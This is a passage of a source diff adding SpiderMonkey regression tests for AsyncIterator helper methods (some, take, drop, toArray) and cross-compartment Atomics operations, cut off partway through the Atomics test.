@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().some().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.some.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/fn-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/some/fn-not-callable-throws.js
new file mode 100644
index 0000000000..74a11ceebf
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/fn-not-callable-throws.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {
+ yield 1;
+}
+
+function check(fn) {
+ gen().some(fn).then(
+ () => {
+ throw new Error('every should have thrown');
+ },
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/fn-throws-close-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/some/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..bdf5119f57
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/fn-throws-close-iterator.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed });
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.some(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/some/interleaving-calls.js
new file mode 100644
index 0000000000..d5882b9532
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).some(() => {}), gen(2).some(() => {})]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/length.js b/js/src/tests/non262/AsyncIterator/prototype/some/length.js
new file mode 100644
index 0000000000..ce86dc8b2f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.some.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.some, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/name.js b/js/src/tests/non262/AsyncIterator/prototype/some/name.js
new file mode 100644
index 0000000000..f2e84a139c
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.some.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.some, 'name');
+assertEq(propDesc.value, 'some');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/some/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..89574e0f8e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/next-throws-iterator-not-closed.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.some(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/some/proxy.js
new file mode 100644
index 0000000000..6ae089ae38
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/proxy.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.some only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.some(x => x % 2 == 1).then(value => {
+ assertEq(value, true);
+
+ assertEq(
+ log.join('\n'),
+ `get: some
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: return`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/return-false-if-none-match.js b/js/src/tests/non262/AsyncIterator/prototype/some/return-false-if-none-match.js
new file mode 100644
index 0000000000..118436d70b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/return-false-if-none-match.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 3;
+ yield 5;
+}
+const fn = x => x % 2 == 0;
+
+gen().some(fn).then(result => assertEq(result, false));
+
+async function* empty() {}
+empty().some(x => x).then(result => assertEq(result, false));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/short-circuit-on-true.js b/js/src/tests/non262/AsyncIterator/prototype/some/short-circuit-on-true.js
new file mode 100644
index 0000000000..3d7250b9a2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/short-circuit-on-true.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+const log = [];
+const fn = (value) => {
+ log.push(value.toString());
+ return value % 2 == 0;
+};
+
+gen().some(fn).then(result => {
+ assertEq(result, true);
+ assertEq(log.join(','), '1,2');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/some/this-not-iterator-throws.js
new file mode 100644
index 0000000000..1233fc371c
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/this-not-iterator-throws.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const fn = x => x;
+function check(x) {
+ AsyncIterator.prototype.some.call(x, fn).then(
+ () => assertEq(true, false, 'expected error'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/some/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..f7a344eea4
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.some(x => x).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-negative.js b/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-negative.js
new file mode 100644
index 0000000000..f21c78e650
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-negative.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: `take` and `drop` throw eagerly when passed negative numbers, after rounding towards 0.
+info: >
+ Iterator Helpers proposal 2.1.6.4 and 2.1.6.5
+features: [iterator-helpers]
+---*/
+
+async function* gen() {}
+const iter = gen();
+const methods = [
+ value => iter.take(value),
+ value => iter.drop(value),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(-1), RangeError);
+ assertThrowsInstanceOf(() => method(-Infinity), RangeError);
+
+ // Both -0 and -0.9 round towards 0.
+ method(-0);
+ method(-0.9);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-non-integer.js b/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-non-integer.js
new file mode 100644
index 0000000000..a81b407afc
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take-drop-throw-eagerly-on-non-integer.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: `take` and `drop` throw eagerly when passed values that can't be converted to numbers.
+info: >
+ Iterator Helpers proposal 2.1.6.4 and 2.1.6.5
+features: [iterator-helpers]
+---*/
+
+async function* gen() {}
+const iter = gen();
+const methods = [
+ value => iter.take(value),
+ value => iter.drop(value),
+];
+
+const objectWithToPrimitive = {
+ [Symbol.toPrimitive]() {
+ return {};
+ }
+};
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(0n), TypeError);
+ assertThrowsInstanceOf(() => method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(objectWithToPrimitive), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/close-iterator-when-none-remaining.js b/js/src/tests/non262/AsyncIterator/prototype/take/close-iterator-when-none-remaining.js
new file mode 100644
index 0000000000..6ae3e34b5d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/close-iterator-when-none-remaining.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.take closes the iterator when remaining is 0.
+info: >
+ Iterator Helpers proposal 2.1.6.4
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 'value'};
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+const iter = new TestIterator();
+const iterTake = iter.take(1);
+
+iterTake.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, 'value');
+ assertEq(iter.closed, false);
+
+ iterTake.next().then(
+ ({done, value}) => {
+ assertEq(done, true);
+ assertEq(value, undefined);
+ assertEq(iter.closed, true);
+ }
+ );
+ }
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/length.js b/js/src/tests/non262/AsyncIterator/prototype/take/length.js
new file mode 100644
index 0000000000..0daf649a58
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.take length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.take.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.take, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/name.js b/js/src/tests/non262/AsyncIterator/prototype/take/name.js
new file mode 100644
index 0000000000..6d126390fb
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.take.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.take.name, 'take');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.take, 'name');
+assertEq(propertyDescriptor.value, 'take');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/take-more-than-available.js b/js/src/tests/non262/AsyncIterator/prototype/take/take-more-than-available.js
new file mode 100644
index 0000000000..65355704ae
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/take-more-than-available.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.take returns if the iterator is done.
+info: >
+ Iterator Helpers proposal 2.1.6.4
+ 2. Repeat,
+ ...
+ c. Let next be ? Await(? IteratorNext(iterated, lastValue)).
+ d. If ? IteratorComplete(next) is false, return undefined.
+features: [iterator-helpers]
+---*/
+
+async function* gen(values) {
+ yield* values;
+}
+
+(async () => {
+ const iter = gen([1, 2]).take(10);
+ for (const expected of [1, 2]) {
+ const result = await iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+ }
+ const result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/take/take.js b/js/src/tests/non262/AsyncIterator/prototype/take/take.js
new file mode 100644
index 0000000000..a734da8c2c
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/take/take.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+let iter = gen().take(2);
+
+for (const v of [1, 2]) {
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/async-writes.js
new file mode 100644
index 0000000000..8246d8d4ed
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().toArray().then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/create-in-current-realm.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/create-in-current-realm.js
new file mode 100644
index 0000000000..6f0b69f8ad
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/create-in-current-realm.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().toArray().then(array => {
+ assertEq(array instanceof Array, true);
+ assertEq(array instanceof otherGlobal.Array, false);
+});
+
+otherGlobal.AsyncIterator.prototype.toArray.call(gen()).then(array => {
+ assertEq(array instanceof Array, false);
+ assertEq(array instanceof otherGlobal.Array, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/descriptor.js
new file mode 100644
index 0000000000..58c7a13872
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.toArray
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'toArray');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/interleaving-calls.js
new file mode 100644
index 0000000000..88e3fcd5e8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).toArray(), gen(2).toArray()]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/iterator-empty.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/iterator-empty.js
new file mode 100644
index 0000000000..d8eec0454d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/iterator-empty.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {}
+gen().toArray().then(array => {
+ assertEq(Array.isArray(array), true);
+ assertEq(array.length, 0);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/length.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/length.js
new file mode 100644
index 0000000000..f0467d5fc3
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.toArray.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.toArray, 'length');
+assertEq(propDesc.value, 0);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/name.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/name.js
new file mode 100644
index 0000000000..63cdf4c201
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.toArray.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.toArray, 'name');
+assertEq(propDesc.value, 'toArray');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/next-throws.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/next-throws.js
new file mode 100644
index 0000000000..d998f83e83
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/next-throws.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.toArray().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/proxy.js
new file mode 100644
index 0000000000..b82af6628e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.toArray only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.toArray().then(() => {
+ assertEq(
+ log.join('\n'),
+ `get: toArray
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/this-not-iterator-throws.js
new file mode 100644
index 0000000000..9846c33ee5
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/this-not-iterator-throws.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+
+function check(x) {
+ AsyncIterator.prototype.toArray.call(x).then(
+ () => {
+ throw new Error('check should have been rejected');
+ },
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/toArray.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/toArray.js
new file mode 100644
index 0000000000..0a91e4d95d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/toArray.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+assertEq(Array.isArray(gen()), false);
+
+gen().toArray().then(array => {
+ assertEq(Array.isArray(array), true);
+ assertEq(array.length, 3);
+
+ const expected = [1, 2, 3];
+ for (const item of array) {
+ const expect = expected.shift();
+ assertEq(item, expect);
+ }
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/toArray/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/toArray/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..a00f780185
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/toArray/value-throws-iterator-not-closed.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.toArray().then(
+ () => {
+ throw new Error('toArray should have thrown');
+ },
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Atomics/browser.js b/js/src/tests/non262/Atomics/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Atomics/browser.js
diff --git a/js/src/tests/non262/Atomics/cross-compartment.js b/js/src/tests/non262/Atomics/cross-compartment.js
new file mode 100644
index 0000000000..8ef46bda38
--- /dev/null
+++ b/js/src/tests/non262/Atomics/cross-compartment.js
@@ -0,0 +1,109 @@
+// |reftest| skip-if(!this.Atomics||!this.SharedArrayBuffer) fails-if(!xulRuntime.shell)
+
+const otherGlobal = newGlobal();
+
+const intArrayConstructors = [
+ otherGlobal.Int32Array,
+ otherGlobal.Int16Array,
+ otherGlobal.Int8Array,
+ otherGlobal.Uint32Array,
+ otherGlobal.Uint16Array,
+ otherGlobal.Uint8Array,
+];
+
+// Atomics.load
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 1;
+
+ assertEq(Atomics.load(ta, 0), 1);
+}
+
+// Atomics.store
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+
+ Atomics.store(ta, 0, 1);
+
+ assertEq(ta[0], 1);
+}
+
+// Atomics.compareExchange
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 1;
+
+ let val = Atomics.compareExchange(ta, 0, 1, 2);
+
+ assertEq(val, 1);
+ assertEq(ta[0], 2);
+}
+
+// Atomics.exchange
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 1;
+
+ let val = Atomics.exchange(ta, 0, 2);
+
+ assertEq(val, 1);
+ assertEq(ta[0], 2);
+}
+
+// Atomics.add
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 1;
+
+ let val = Atomics.add(ta, 0, 2);
+
+ assertEq(val, 1);
+ assertEq(ta[0], 3);
+}
+
+// Atomics.sub
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 3;
+
+ let val = Atomics.sub(ta, 0, 2);
+
+ assertEq(val, 3);
+ assertEq(ta[0], 1);
+}
+
+// Atomics.and
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 3;
+
+ let val = Atomics.and(ta, 0, 1);
+
+ assertEq(val, 3);
+ assertEq(ta[0], 1);
+}
+
+// Atomics.or
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 2;
+
